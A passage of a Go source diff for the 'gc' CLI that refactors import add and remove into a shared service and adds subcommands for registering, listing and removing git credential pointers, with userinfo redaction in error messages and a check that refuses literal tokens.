@@ -606,216 +622,77 @@ func findImportRigIndex(cityPath string, rigs []config.Rig, target string) (int,
 	return -1, "", fmt.Errorf("rig %q not found", target)
 }
 
-//nolint:unparam // keep fs injectable for parity with the other import helpers and direct tests.
-func doImportAdd(fs fsys.FS, cityPath, source, nameOverride, versionFlag string, stdout, stderr io.Writer) int {
-	scope, err := loadImportScopeFS(fs, cityPath)
-	if err != nil {
-		fmt.Fprintf(stderr, "gc import add: %v\n", err) //nolint:errcheck
-		return 1
+// importSvcDeps builds the importsvc dependency seam from the CLI's package
+// vars and the active rig flag. Routing through main's stubbable vars keeps the
+// existing command tests (which override syncImports/resolveImportVersion/...)
+// driving the shared add/remove code path.
+func importSvcDeps() importsvc.Deps {
+	return importsvc.Deps{
+		Rig:               strings.TrimSpace(rigFlag),
+		SyncLock:          syncImports,
+		WriteLockfile:     writeImportLockfile,
+		ResolveVersion:    resolveImportVersion,
+		DefaultConstraint: defaultImportConstraint,
+		ResolveHeadCommit: resolveImportHeadCommit,
 	}
+}
 
-	source, gitBacked, err := normalizeImportAddSource(fs, cityPath, source)
+//nolint:unparam // keep fs injectable for parity with the other import helpers and direct tests.
+func doImportAdd(fs fsys.FS, cityPath, source, nameOverride, versionFlag string, stdout, stderr io.Writer) int {
+	res, err := importsvc.AddImportWith(fs, cityPath, source, nameOverride, versionFlag, importSvcDeps())
 	if err != nil {
-		fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-		return 1
-	}
-
-	name := nameOverride
-	if name == "" {
-		name = deriveImportName(source)
-	}
-	if name == "" {
-		fmt.Fprintln(stderr, "gc import add: could not derive import name; use --name") //nolint:errcheck
-		return 1
-	}
-	if strings.HasPrefix(name, "default-rig:") {
-		fmt.Fprintf(stderr, "gc import add: import name %q uses reserved prefix \"default-rig:\"\n", name) //nolint:errcheck
-		return 1
-	}
-	if _, exists := scope.imports[name]; exists {
-		fmt.Fprintf(stderr, "gc import add: import %q already exists\n", name) //nolint:errcheck
-		return 1
-	}
-	if scope.isRootPackScope() {
-		cityOwned, err := cityRootImportExistsFS(fs, cityPath, name)
-		if err != nil {
-			fmt.Fprintf(stderr, "gc import add: %v\n", err) //nolint:errcheck
-			return 1
-		}
-		if cityOwned {
-			fmt.Fprintf(stderr, "gc import add: import %q is defined by city.toml [imports], which overrides pack.toml; edit city.toml instead\n", name) //nolint:errcheck
-			return 1
-		}
-	}
-
-	version := versionFlag
-	if gitBacked {
-		if hasRepositoryRefInSource(source) {
-			fmt.Fprintf(stderr, "gc import add %q: embed refs in --version, not in the source URL\n", source) //nolint:errcheck
-			return 1
-		}
-		if version == "" {
-			version, err = defaultImportVersionForSource(source)
-			if err != nil {
-				fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-				return 1
-			}
-		}
-	} else if version != "" {
-		fmt.Fprintf(stderr, "gc import add %q: --version is only valid for git-backed imports\n", source) //nolint:errcheck
+		fmt.Fprintln(stderr, importAddErrorLine(source, nameOverride, err)) //nolint:errcheck
+		printCredentialHint(stderr, err)
 		return 1
 	}
+	fmt.Fprintf(stdout, "Added import %q from %s\n", res.Name, res.Source) //nolint:errcheck
+	return 0
+}
 
-	scope.imports[name] = config.Import{
-		Source:  source,
-		Version: version,
-	}
-	allImports, err := collectAllImportsFS(fs, cityPath)
-	if err != nil {
-		fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-		return 1
-	}
-	allImports[scope.syntheticKey(name)] = scope.imports[name]
-	lock, err := syncImports(cityPath, allImports, packman.InstallResolveIfNeeded)
-	if err != nil {
-		fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-		return 1
-	}
-	if err := scope.save(); err != nil {
-		fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-		return 1
-	}
-	if err := writeImportLockfile(fs, cityPath, lock); err != nil {
-		fmt.Fprintf(stderr, "gc import add %q: %v\n", source, err) //nolint:errcheck
-		return 1
+// importAddErrorLine frames the `gc import add` exit-1 stderr line. The
+// name-resolution arms (underivable name, reserved prefix) are byte-identical
+// to the historical CLI: they print bare, with no source and no sentinel
+// wrapper. The scope/ownership and default arms print importsvc's typed error
+// verbatim, which now carries the sentinel prefix it wraps (for example
+// `import already exists: import "x" already exists` or `invalid import
+// source: ...`); this is the intended, clearer post-extraction contract, not
+// byte-identical to the pre-extraction line. The exact-match tests in
+// cmd_import_test.go pin each arm so the contract cannot drift silently.
+func importAddErrorLine(source, nameOverride string, err error) string {
+	switch {
+	case errors.Is(err, importsvc.ErrNameDerive):
+		return "gc import add: could not derive import name; use --name"
+	case errors.Is(err, importsvc.ErrReservedPrefix):
+		return fmt.Sprintf("gc import add: import name %q uses reserved prefix \"default-rig:\"", nameOverride)
+	case errors.Is(err, importsvc.ErrScopeLoad), errors.Is(err, importsvc.ErrImportExists):
+		return fmt.Sprintf("gc import add: %v", err)
+	default:
+		// Redact any userinfo in the source so a credential-bearing URL never
+		// reaches the error line. RedactUserinfo is the identity on clean URLs, so
+		// every pinned public-source test stays byte-identical.
+		return fmt.Sprintf("gc import add %q: %v", gitcred.RedactUserinfo(source), err)
 	}
-	fmt.Fprintf(stdout, "Added import %q from %s\n", name, source) //nolint:errcheck
-	return 0
 }
 
 //nolint:unparam // FS seam is intentional for command tests and symmetry with doImportAdd.
 func doImportRemove(fs fsys.FS, cityPath, name string, stdout, stderr io.Writer) int {
-	scope, err := loadImportScopeFS(fs, cityPath)
+	res, err := importsvc.RemoveImportWith(fs, cityPath, name, importSvcDeps())
 	if err != nil {
-		fmt.Fprintf(stderr, "gc import remove: %v\n", err) //nolint:errcheck
-		return 1
-	}
-	if _, exists := scope.imports[name]; !exists {
-		removed, err := removeCityRootImportFS(fs, cityPath, scope, name)
-		if err != nil {
+		// Failures during the lock-sync/save tail carry the name; earlier scope
+		// and ownership failures keep the bare prefix, mirroring the old CLI.
+		if errors.Is(err, importsvc.ErrInstallFailed) {
+			fmt.Fprintf(stderr, "gc import remove %q: %v\n", name, err) //nolint:errcheck
+		} else {
 			fmt.Fprintf(stderr, "gc import remove: %v\n", err) //nolint:errcheck
-			return 1
-		}
-		if !removed {
-			removed, err = removeRootDefaultRigImportFS(fs, cityPath, scope, name)
-			if err != nil {
-				fmt.Fprintf(stderr, "gc import remove: %v\n", err) //nolint:errcheck
-				return 1
-			}
-		}
-		if !removed {
-			fmt.Fprintf(stderr, "gc import remove: import %q not found\n", name) //nolint:errcheck
-			return 1
-		}
-	} else {
-		if scope.isRootPackScope() {
-			cityOwned, err := cityRootImportExistsFS(fs, cityPath, name)
-			if err != nil {
-				fmt.Fprintf(stderr, "gc import remove: %v\n", err) //nolint:errcheck
-				return 1
-			}
-			if cityOwned {
-				fmt.Fprintf(stderr, "gc import remove: import %q is overridden by city.toml [imports]; remove the city.toml entry first\n", name) //nolint:errcheck
-				return 1
-			}
 		}
-		delete(scope.imports, name)
-	}
-
-	allImports, err := collectAllImportsFS(fs, cityPath)
-	if err != nil {
-		fmt.Fprintf(stderr, "gc import remove %q: %v\n", name, err) //nolint:errcheck
-		return 1
-	}
-	delete(allImports, scope.syntheticKey(name))
-	delete(allImports, "default-rig:"+strings.TrimPrefix(name, "default-rig:"))
-	lock, err := syncImports(cityPath, allImports, packman.InstallResolveIfNeeded)
-	if err != nil {
-		fmt.Fprintf(stderr, "gc import remove %q: %v\n", name, err) //nolint:errcheck
-		return 1
-	}
-	if err := scope.save(); err != nil {
-		fmt.Fprintf(stderr, "gc import remove %q: %v\n", name, err) //nolint:errcheck
 		return 1
 	}
-	if err := writeImportLockfile(fs, cityPath, lock); err != nil {
-		fmt.Fprintf(stderr, "gc import remove %q: %v\n", name, err) //nolint:errcheck
-		return 1
-	}
-	fmt.Fprintf(stdout, "Removed import %q\n", name) //nolint:errcheck
+	fmt.Fprintf(stdout, "Removed import %q\n", res.Name) //nolint:errcheck
 	return 0
 }
 
-// removeCityRootImportFS removes a root import owned by city.toml [imports].
-// City-only root imports are visible in list/why output, so remove must be
-// able to delete them; they live in city.toml, so the save is redirected
-// there, mirroring removeRootDefaultRigImportFS.
-func removeCityRootImportFS(fs fsys.FS, cityPath string, scope *importScopeState, name string) (bool, error) {
-	if !scope.isRootPackScope() {
-		return false, nil
-	}
-	if _, err := fs.Stat(filepath.Join(cityPath, "city.toml")); err != nil {
-		if os.IsNotExist(err) {
-			return false, nil
-		}
-		return false, err
-	}
-	cfg, err := loadCityImportManifestFS(fs, cityPath)
-	if err != nil {
-		return false, err
-	}
-	if _, ok := cfg.Imports[name]; !ok {
-		return false, nil
-	}
-	delete(cfg.Imports, name)
-	scope.save = func() error {
-		return writeCityImportManifestFS(fs, cityPath, cfg)
-	}
-	return true, nil
-}
-
-func removeRootDefaultRigImportFS(fs fsys.FS, cityPath string, scope *importScopeState, name string) (bool, error) {
-	if !scope.isRootPackScope() {
-		return false, nil
-	}
-	defaultName := strings.TrimPrefix(name, "default-rig:")
-	cfg, err := loadCityImportManifestFS(fs, cityPath)
-	if err != nil {
-		return false, err
-	}
-	if _, ok := cfg.Defaults.Rig.Imports[defaultName]; !ok {
-		manifest, err := loadCityPackManifestFS(fs, cityPath)
-		if err != nil {
-			return false, err
-		}
-		if _, ok := manifest.Defaults.Rig.Imports[defaultName]; !ok {
-			return false, nil
-		}
-		delete(manifest.Defaults.Rig.Imports, defaultName)
-		scope.save = func() error {
-			return writeCityPackManifest(fs, cityPath, manifest)
-		}
-		return true, nil
-	}
-	delete(cfg.Defaults.Rig.Imports, defaultName)
-	scope.save = func() error {
-		return writeCityImportManifestFS(fs, cityPath, cfg)
-	}
-	return true, nil
-}
-
 func doImportInstall(cityPath string, stdout, stderr io.Writer) int {
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import install: %v\n", err) //nolint:errcheck
 		return 1
@@ -823,6 +700,7 @@ func doImportInstall(cityPath string, stdout, stderr io.Writer) int {
 	lock, err := syncImports(cityPath, allImports, packman.InstallResolveIfNeeded)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import install: %v\n", err) //nolint:errcheck
+		printCredentialHint(stderr, err)
 		return 1
 	}
 	if err := writeImportLockfile(fsys.OSFS{}, cityPath, lock); err != nil {
@@ -833,6 +711,7 @@ func doImportInstall(cityPath string, stdout, stderr io.Writer) int {
 	lock, err = installLockedImports(cityPath)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import install: %v\n", err) //nolint:errcheck
+		printCredentialHint(stderr, err)
 		return 1
 	}
 	fmt.Fprintf(stdout, "Installed %d remote import(s)\n", len(lock.Packs)) //nolint:errcheck
@@ -840,7 +719,7 @@ func doImportInstall(cityPath string, stdout, stderr io.Writer) int {
 }
 
 func doImportCheck(cityPath string, stdout, stderr io.Writer) int {
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import check: %v\n", err) //nolint:errcheck
 		return 1
@@ -892,7 +771,7 @@ func doImportUpgrade(cityPath, target string, stdout, stderr io.Writer) int {
 		return 1
 	}
 
-	allImports, collectErr := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, collectErr := collectAllImportsFS(cityPath)
 	if collectErr != nil {
 		fmt.Fprintf(stderr, "gc import upgrade: %v\n", collectErr) //nolint:errcheck
 		return 1
@@ -921,11 +800,13 @@ func doImportUpgrade(cityPath, target string, stdout, stderr io.Writer) int {
 		})
 		if err != nil {
 			fmt.Fprintf(stderr, "gc import upgrade %q: %v\n", target, err) //nolint:errcheck
+			printCredentialHint(stderr, err)
 			return 1
 		}
 	}
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import upgrade: %v\n", err) //nolint:errcheck
+		printCredentialHint(stderr, err)
 		return 1
 	}
 	if err := writeImportLockfile(fsys.OSFS{}, cityPath, lock); err != nil {
@@ -969,7 +850,7 @@ func doImportList(cityPath string, tree bool, stdout, stderr io.Writer) int {
 		return 0
 	}
 
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc import list: %v\n", err) //nolint:errcheck
 		return 1
@@ -1496,44 +1377,21 @@ func hasRepositoryRefInSource(source string) bool {
 	return strings.Contains(source, "#")
 }
 
-func defaultImportVersionForSource(source string) (string, error) {
-	resolved, err := resolveImportVersion(source, "")
+func defaultImportVersionForSource(cityRoot, source string) (string, error) {
+	resolved, err := resolveImportVersion(cityRoot, source, "")
 	if err == nil {
 		return defaultImportConstraint(resolved.Version)
 	}
 	if !errors.Is(err, packman.ErrNoSemverTags) {
 		return "", err
 	}
-	commit, err := resolveImportHeadCommit(source)
+	commit, err := resolveImportHeadCommit(cityRoot, source)
 	if err != nil {
 		return "", err
 	}
 	return "sha:" + commit, nil
 }
 
-func normalizeImportAddSource(fs fsys.FS, cityPath, source string) (string, bool, error) {
-	if isRemoteImportSource(source) {
-		return source, true, nil
-	}
-
-	targetDir, err := resolveImportAddPath(cityPath, source)
-	if err != nil {
-		return "", false, err
-	}
-	if err := validateImportPackTarget(fs, targetDir); err != nil {
-		return "", false, err
-	}
-
-	canonical, ok, err := canonicalizeLocalGitImportSource(targetDir)
-	if err != nil {
-		return "", false, err
-	}
-	if ok {
-		return canonical, true, nil
-	}
-	return source, false, nil
-}
-
 func resolveImportAddPath(cityPath, source string) (string, error) {
 	switch {
 	case strings.HasPrefix(source, "//"):
@@ -1551,45 +1409,6 @@ func resolveImportAddPath(cityPath, source string) (string, error) {
 	}
 }
 
-func validateImportPackTarget(fs fsys.FS, targetDir string) error {
-	info, err := fs.Stat(targetDir)
-	if err != nil {
-		return fmt.Errorf("resolving source: %w", err)
-	}
-	if !info.IsDir() {
-		return fmt.Errorf("source is not a directory")
-	}
-	packPath := filepath.Join(targetDir, "pack.toml")
-	if _, err := fs.Stat(packPath); err != nil {
-		return fmt.Errorf("invalid pack target: missing pack.toml")
-	}
-	if _, err := config.Load(fs, packPath); err != nil {
-		return fmt.Errorf("invalid pack target: %w", err)
-	}
-	return nil
-}
-
-func canonicalizeLocalGitImportSource(targetDir string) (string, bool, error) {
-	repoRoot, ok, err := localGitRepoRoot(targetDir)
-	if err != nil || !ok {
-		return "", ok, err
-	}
-	resolvedTarget, err := filepath.EvalSymlinks(targetDir)
-	if err != nil {
-		resolvedTarget = targetDir
-	}
-	rel, err := filepath.Rel(repoRoot, resolvedTarget)
-	if err != nil {
-		return "", false, fmt.Errorf("computing import subpath: %w", err)
-	}
-	u := url.URL{Scheme: "file", Path: filepath.ToSlash(repoRoot)}
-	canonical := u.String()
-	if rel != "." {
-		canonical += "//" + filepath.ToSlash(rel)
-	}
-	return canonical, true, nil
-}
-
 func localGitRepoRoot(targetDir string) (string, bool, error) {
 	cmd := exec.Command("git", "-C", targetDir, "rev-parse", "--show-toplevel")
 	// Strip git-locating env vars (GIT_DIR, GIT_WORK_TREE, GIT_INDEX_FILE, ...)
@@ -1611,20 +1430,31 @@ func localGitRepoRoot(targetDir string) (string, bool, error) {
 	return strings.TrimSpace(string(out)), true, nil
 }
 
-func defaultImportHeadCommit(source string) (string, error) {
+func defaultImportHeadCommit(cityRoot, source string) (string, error) {
 	cloneURL := config.NormalizeRemoteSource(source)
-	cmd := exec.Command("git", "ls-remote", cloneURL, "HEAD")
+	inj, err := gitcred.CredentialedNetworkArgs("", cityRoot, cloneURL)
+	if err != nil {
+		return "", fmt.Errorf("loading git credentials for %s: %w", gitcred.RedactUserinfo(cloneURL), err)
+	}
+	// inj.CfgArgs go before the subcommand. This site keeps its SanitizedEnv base
+	// and does NOT add the UntrustedRemoteGitConfigArgs hardening that the
+	// importsvc HEAD probe (site 3) carries — a pre-existing asymmetry preserved
+	// here for byte-identical behavior and flagged for a later unify.
+	cmd := exec.Command("git", append(inj.CfgArgs, "ls-remote", cloneURL, "HEAD")...)
 	// Strip git-locating env vars so a leaked GIT_DIR/GIT_WORK_TREE/GIT_INDEX_FILE
 	// (or config injection) from a parent pre-commit hook or worktree tooling
 	// cannot perturb how this remote HEAD probe runs.
-	cmd.Env = git.SanitizedEnv()
+	cmd.Env = append(git.SanitizedEnv(), inj.Env...)
 	out, err := cmd.CombinedOutput()
 	if err != nil {
-		return "", fmt.Errorf("resolving HEAD for %q: %w", source, err)
+		if authErr := gitcred.ClassifyAuthError(cloneURL, inj, string(out), err); authErr != nil {
+			return "", authErr
+		}
+		return "", fmt.Errorf("resolving HEAD for %q: %w", gitcred.RedactUserinfo(source), err)
 	}
 	fields := strings.Fields(string(out))
 	if len(fields) == 0 {
-		return "", fmt.Errorf("resolving HEAD for %q: empty response", source)
+		return "", fmt.Errorf("resolving HEAD for %q: empty response", gitcred.RedactUserinfo(source))
 	}
 	return fields[0], nil
 }
diff --git a/cmd/gc/cmd_import_credential.go b/cmd/gc/cmd_import_credential.go
new file mode 100644
index 0000000000..7b5b740b0f
--- /dev/null
+++ b/cmd/gc/cmd_import_credential.go
@@ -0,0 +1,399 @@
+package main
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/BurntSushi/toml"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/gchome"
+	"github.com/gastownhall/gascity/internal/gitcred"
+	"github.com/spf13/cobra"
+)
+
+// literalTokenPattern matches a value that looks like a GitHub token so the CLI
+// can refuse a literal secret where a pointer is expected.
+var literalTokenPattern = regexp.MustCompile(`^(gh[pousr]_|github_pat_)`)
+
+// tokenEnvNamePattern is the shell env-var-name grammar --token-env accepts.
+var tokenEnvNamePattern = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
+
+func newImportCredentialCmd(stdout, stderr io.Writer) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "credential",
+		Short: "Manage pack-source git credentials",
+		Args:  cobra.NoArgs,
+		RunE: func(cmd *cobra.Command, _ []string) error {
+			return cmd.Help()
+		},
+	}
+	cmd.AddCommand(
+		newImportCredentialAddCmd(stdout, stderr),
+		newImportCredentialListCmd(stdout, stderr),
+		newImportCredentialRemoveCmd(stdout, stderr),
+	)
+	return cmd
+}
+
+func newImportCredentialAddCmd(stdout, stderr io.Writer) *cobra.Command {
+	var helper, tokenFile, tokenEnv, sshKeyFile, username string
+	var global bool
+	cmd := &cobra.Command{
+		Use:   "add <match> (--helper CMD | --token-file PATH | --token-env NAME | --ssh-key-file PATH) [--username NAME] [--global]",
+		Short: "Register a pack-source credential",
+		Args:  cobra.ExactArgs(1),
+		RunE: func(_ *cobra.Command, args []string) error {
+			rule := gitcred.Rule{
+				Match:      args[0],
+				Username:   strings.TrimSpace(username),
+				Helper:     strings.TrimSpace(helper),
+				TokenFile:  strings.TrimSpace(tokenFile),
+				TokenEnv:   strings.TrimSpace(tokenEnv),
+				SSHKeyFile: strings.TrimSpace(sshKeyFile),
+			}
+			if doImportCredentialAdd(rule, global, stdout, stderr) != 0 {
+				return errExit
+			}
+			return nil
+		},
+	}
+	cmd.Flags().StringVar(&helper, "helper", "", "Command whose stdout is the token (executed per fetch)")
+	cmd.Flags().StringVar(&tokenFile, "token-file", "", "Path to a file containing the token")
+	cmd.Flags().StringVar(&tokenEnv, "token-env", "", "Name of an environment variable holding the token")
+	cmd.Flags().StringVar(&sshKeyFile, "ssh-key-file", "", "Path to an SSH private key for git@/ssh:// sources")
+	cmd.Flags().StringVar(&username, "username", "", "Username sent to the remote (default x-access-token)")
+	cmd.Flags().BoolVar(&global, "global", false, "Write $GC_HOME/credentials.toml instead of the city file")
+	cmd.MarkFlagsMutuallyExclusive("helper", "token-file", "token-env", "ssh-key-file")
+	return cmd
+}
+
+func newImportCredentialListCmd(stdout, stderr io.Writer) *cobra.Command {
+	return &cobra.Command{
+		Use:   "list",
+		Short: "List registered pack-source credentials",
+		Args:  cobra.NoArgs,
+		RunE: func(_ *cobra.Command, _ []string) error {
+			if doImportCredentialList(stdout, stderr) != 0 {
+				return errExit
+			}
+			return nil
+		},
+	}
+}
+
+func newImportCredentialRemoveCmd(stdout, stderr io.Writer) *cobra.Command {
+	var global bool
+	cmd := &cobra.Command{
+		Use:   "remove <match>",
+		Short: "Remove a registered pack-source credential",
+		Args:  cobra.ExactArgs(1),
+		RunE: func(_ *cobra.Command, args []string) error {
+			if doImportCredentialRemove(args[0], global, stdout, stderr) != 0 {
+				return errExit
+			}
+			return nil
+		},
+	}
+	cmd.Flags().BoolVar(&global, "global", false, "Remove from $GC_HOME/credentials.toml instead of the city file")
+	return cmd
+}
+
+// credentialsTargetFile resolves the file add/remove operate on: an explicit
+// $GC_GIT_CREDENTIALS_FILE overrides everything (with a stderr notice), --global
+// selects $GC_HOME/credentials.toml, otherwise the city .gc/credentials.toml.
+func credentialsTargetFile(global bool, stderr io.Writer) (string, error) {
+	if explicit := strings.TrimSpace(os.Getenv(gitcred.EnvCredentialsFile)); explicit != "" {
+		fmt.Fprintf(stderr, "note: writing $GC_GIT_CREDENTIALS_FILE (%s)\n", explicit) //nolint:errcheck
+		return explicit, nil
+	}
+	if global {
+		home := gchome.Default()
+		if err := os.MkdirAll(home, 0o700); err != nil {
+			return "", fmt.Errorf("creating %s: %w", home, err)
+		}
+		return filepath.Join(home, "credentials.toml"), nil
+	}
+	cityPath, err := resolveImportRoot()
+	if err != nil {
+		return "", err
+	}
+	gcDir := filepath.Join(cityPath, ".gc")
+	if _, err := os.Stat(gcDir); err != nil {
+		if os.IsNotExist(err) {
+			return "", fmt.Errorf("%s is not a city (no .gc directory); use --global to write $GC_HOME/credentials.toml", cityPath)
+		}
+		return "", err
+	}
+	return filepath.Join(gcDir, "credentials.toml"), nil
+}
+
+type credentialsFileDoc struct {
+	Credential []gitcred.Rule `toml:"credential"`
+}
+
+func readCredentialsFile(path string) (credentialsFileDoc, error) {
+	var doc credentialsFileDoc
+	data, err := os.ReadFile(path)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return doc, nil
+		}
+		return doc, err
+	}
+	if _, err := toml.Decode(string(data), &doc); err != nil {
+		return doc, fmt.Errorf("parsing %s: %w", path, err)
+	}
+	return doc, nil
+}
+
+func writeCredentialsFile(path string, doc credentialsFileDoc) error {
+	var buf bytes.Buffer
+	if err := toml.NewEncoder(&buf).Encode(doc); err != nil {
+		return fmt.Errorf("encoding credentials: %w", err)
+	}
+	return fsys.WriteFileAtomic(fsys.OSFS{}, path, buf.Bytes(), 0o600)
+}
+
+func doImportCredentialAdd(rule gitcred.Rule, global bool, stdout, stderr io.Writer) int {
+	fail := func(msg string) int {
+		fmt.Fprintf(stderr, "gc import credential add: %s\n", msg) //nolint:errcheck
+		return 1
+	}
+
+	pointerType, err := selectPointer(rule)
+	if err != nil {
+		return fail(err.Error())
+	}
+
+	normalizedMatch, err := normalizeCredentialMatch(rule.Match)
+	if err != nil {
+		return fail(err.Error())
+	}
+	rule.Match = normalizedMatch
+
+	if rule.TokenEnv != "" {
+		if !tokenEnvNamePattern.MatchString(rule.TokenEnv) {
+			return fail("--token-env takes an environment variable NAME, not a value")
+		}
+		if strings.TrimSpace(os.Getenv(rule.TokenEnv)) == "" {
+			fmt.Fprintf(stderr, "warning: environment variable %s is not set in the current shell\n", rule.TokenEnv) //nolint:errcheck
+		}
+	}
+	if rule.TokenFile != "" || rule.SSHKeyFile != "" {
+		checkPath := rule.TokenFile
+		if checkPath == "" {
+			checkPath = rule.SSHKeyFile
+		}
+		if !credentialPathExists(checkPath) {
+			fmt.Fprintf(stderr, "warning: %s does not exist yet\n", checkPath) //nolint:errcheck
+		}
+	}
+
+	// Literal-token refusal: the helper value or the match must not look like a
+	// raw token.
+	if literalTokenPattern.MatchString(rule.Helper) || literalTokenPattern.MatchString(normalizedMatch) {
+		return fail("refusing a literal token; pass a pointer (--helper 'gh auth token', --token-file, or --token-env)")
+	}
+
+	path, err := credentialsTargetFile(global, stderr)
+	if err != nil {
+		return fail(err.Error())
+	}
+	doc, err := readCredentialsFile(path)
+	if err != nil {
+		return fail(err.Error())
+	}
+	for _, existing := range doc.Credential {
+		if em, _ := normalizeCredentialMatch(existing.Match); em == normalizedMatch {
+			return fail(fmt.Sprintf("credential for %q already exists in %s; run 'gc import credential remove %s' first", normalizedMatch, path, normalizedMatch))
+		}
+	}
+	doc.Credential = append(doc.Credential, rule)
+	if err := writeCredentialsFile(path, doc); err != nil {
+		return fail(err.Error())
+	}
+	fmt.Fprintf(stdout, "Added pack credential for %q (%s) to %s\n", normalizedMatch, pointerType, path) //nolint:errcheck
+	return 0
+}
+
+func doImportCredentialList(stdout, stderr io.Writer) int {
+	cityRoot := ""
+	if root, err := resolveImportRoot(); err == nil {
+		cityRoot = root
+	} else {
+		fmt.Fprintf(stderr, "note: not in a city; listing global and env credential layers only\n") //nolint:errcheck
+	}
+	rules, err := gitcred.Load(cityRoot)
+	if err != nil {
+		fmt.Fprintf(stderr, "gc import credential list: %v\n", err) //nolint:errcheck
+		return 1
+	}
+	loaded := rules.All()
+	if len(loaded) == 0 && !rules.HasCommandLayer() {
+		fmt.Fprintln(stdout, "No pack credentials configured") //nolint:errcheck
+		return 0
+	}
+	for _, lr := range loaded {
+		pointerType, _ := selectPointer(lr.Rule)
+		pointer := pointerValue(lr.Rule)
+		username := lr.Username
+		if strings.TrimSpace(username) == "" {
+			username = gitcred.DefaultUsername
+		}
+		fmt.Fprintf(stdout, "%s\t%s\t%s=%s\t%s\n", lr.Match, username, pointerType, pointer, lr.Origin) //nolint:errcheck
+	}
+	if rules.HasCommandLayer() {
+		fmt.Fprintf(stdout, "(any)\t\tcommand=$%s\t(env)\n", "GC_GIT_CREDENTIAL_COMMAND") //nolint:errcheck
+	}
+	return 0
+}
+
+func doImportCredentialRemove(match string, global bool, stdout, stderr io.Writer) int {
+	fail := func(msg string) int {
+		fmt.Fprintf(stderr, "gc import credential remove: %s\n", msg) //nolint:errcheck
+		return 1
+	}
+	normalizedMatch, err := normalizeCredentialMatch(match)
+	if err != nil {
+		return fail(err.Error())
+	}
+	path, err := credentialsTargetFile(global, stderr)
+	if err != nil {
+		return fail(err.Error())
+	}
+	doc, err := readCredentialsFile(path)
+	if err != nil {
+		return fail(err.Error())
+	}
+	kept := doc.Credential[:0:0]
+	removed := false
+	for _, existing := range doc.Credential {
+		if em, _ := normalizeCredentialMatch(existing.Match); em == normalizedMatch {
+			removed = true
+			continue
+		}
+		kept = append(kept, existing)
+	}
+	if !removed {
+		if other := findCredentialInOtherLayer(normalizedMatch, path); other != "" {
+			return fail(fmt.Sprintf("no credential for %q in %s (found in %s; use --global or edit that file)", normalizedMatch, path, other))
+		}
+		return fail(fmt.Sprintf("no credential for %q in %s", normalizedMatch, path))
+	}
+	doc.Credential = kept
+	if err := writeCredentialsFile(path, doc); err != nil {
+		return fail(err.Error())
+	}
+	fmt.Fprintf(stdout, "Removed pack credential for %q from %s\n", normalizedMatch, path) //nolint:errcheck
+	return 0
+}
+
+// findCredentialInOtherLayer reports the origin of a rule matching normalizedMatch
+// in any readable layer other than excludePath, for a helpful cross-scope error.
+func findCredentialInOtherLayer(normalizedMatch, excludePath string) string {
+	cityRoot := ""
+	if root, err := resolveImportRoot(); err == nil {
+		cityRoot = root
+	}
+	rules, err := gitcred.Load(cityRoot)
+	if err != nil {
+		return ""
+	}
+	excludeAbs, _ := filepath.Abs(excludePath)
+	for _, lr := range rules.All() {
+		if em, _ := normalizeCredentialMatch(lr.Match); em != normalizedMatch {
+			continue
+		}
+		// Synthetic origins ($GH_TOKEN, $GITHUB_TOKEN, $GC_GIT_CREDENTIAL_COMMAND)
+		// are ambient env/command layers, not files a user can edit, so never point
+		// the "use --global or edit that file" guidance at one.
+		if strings.HasPrefix(lr.Origin, "$") {
+			continue
+		}
+		if originAbs, _ := filepath.Abs(lr.Origin); originAbs != excludeAbs {
+			return lr.Origin
+		}
+	}
+	return ""
+}
+
+// selectPointer validates that exactly one pointer field is set and returns its
+// type name (helper|token_file|token_env|ssh_key_file).
+func selectPointer(rule gitcred.Rule) (pointerType string, err error) {
+	set := 0
+	if rule.Helper != "" {
+		set++
+		pointerType = "helper"
+	}
+	if rule.TokenFile != "" {
+		set++
+		pointerType = "token_file"
+	}
+	if rule.TokenEnv != "" {
+		set++
+		pointerType = "token_env"
+	}
+	if rule.SSHKeyFile != "" {
+		set++
+		pointerType = "ssh_key_file"
+	}
+	if set != 1 {
+		return "", fmt.Errorf("exactly one of --helper, --token-file, --token-env, or --ssh-key-file is required")
+	}
+	return pointerType, nil
+}
+
+func pointerValue(rule gitcred.Rule) string {
+	switch {
+	case rule.Helper != "":
+		return rule.Helper
+	case rule.TokenFile != "":
+		return rule.TokenFile
+	case rule.TokenEnv != "":
+		return rule.TokenEnv
+	case rule.SSHKeyFile != "":
+		return rule.SSHKeyFile
+	default:
+		return ""
+	}
+}
+
+// normalizeCredentialMatch trims the trailing "/*" or "/" and rejects a match
+// that is a URL, carries userinfo, or contains whitespace or a comment marker.
+func normalizeCredentialMatch(match string) (string, error) {
+	match = strings.TrimSpace(match)
+	match = strings.TrimSuffix(match, "/*")
+	match = strings.TrimSuffix(match, "/")
+	if match == "" {
+		return "", fmt.Errorf("match must be a bare host or host/path-prefix like \"github.com/gascity\", not empty")
+	}
+	if strings.Contains(match, "://") {
+		return "", fmt.Errorf("match must be a bare host or host/path-prefix like \"github.com/gascity\", not a URL")
+	}
+	if strings.Contains(match, "@") {
+		return "", fmt.Errorf("match must not contain credentials or user info")
+	}
+	if strings.ContainsAny(match, " \t#") {
